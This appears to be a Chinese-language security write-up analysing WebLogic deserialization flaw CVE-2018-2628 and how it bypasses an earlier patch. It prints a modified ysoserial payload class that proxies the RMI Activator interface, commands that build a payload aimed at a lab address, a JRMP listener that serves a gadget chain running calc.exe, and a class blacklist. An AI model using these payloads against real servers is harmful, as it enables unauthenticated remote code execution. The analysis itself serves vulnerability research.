Weblogic 反序列化漏洞(CVE-2018-2628)漫谈

原理是将反序列化的对象封装进了` weblogic.corba.utils.MarshalledObject`，然后再对 `MarshalledObject `进行序列化，生成 payload 字节码。反序列化时 `MarshalledObject` 不在 WebLogic 黑名单里，可正常反序列化，在反序列化时 `MarshalledObject `对象调用 `readObject` 时对 `MarshalledObject` 封装的序列化对象再次反序列化，这样就逃过了黑名单的检查。

Java远程消息交换协议 JRMP 即 Java Remote MessagingProtocol ，是特定于 Java 技术的、用于查找和引用远程对象的协议。这是运行在 Java 远程方法调用 RMI 之下、TCP/IP 之上的线路层协议。

这个漏洞就是利用 RMI 机制的缺陷，通过 JRMP 协议达到执行任意反序列化 payload 的目的。使用 ysoserial  的 `JRMPLister`，这将会序列化一个 `RemoteObjectInvocationHandler`，该`RemoteObjectInvocationHandler`使用`UnicastRef`建立到远端的 TCP 连接获取`RMI registry`。 此连接使用 JRMP 协议，因此客户端将反序列化服务器响应的任何内容，从而实现未经身份验证的远程代码执行。

首先我们来看以下 CVE-2017-3248 这个漏洞的补丁（p24667634_1036_Generic），在`weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream.class`多了一个`resolveProxyClass`，这个`resolveProxyClass`只是对 RMI 接口类型进行了判断，判断 RMI 接口是否为`java.rmi.registry.Registry`，是的话抛出错误。

public class JRMPClient2 extends PayloadRunner implements ObjectPayload<Activator> {

    public Activator getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] {
            Activator.class
        }, obj);
        return proxy;
    }


    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader());
        PayloadRunner.run(JRMPClient2.class, args);
    }
}

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient2 "192.168.177.1:1099" > p_client2

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "calc.exe"

    public static Object streamMessageImpl(byte[] object) throws Exception {
        StreamMessageImpl streamMessage = new StreamMessageImpl();
        streamMessage.setDataBuffer(object, object.length);
        return streamMessage;
    }

private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef"};

总的来说，Weblogic 反序列化漏洞就是在不停的修复-绕过-修复-绕过......最精彩的永远是下一个 ！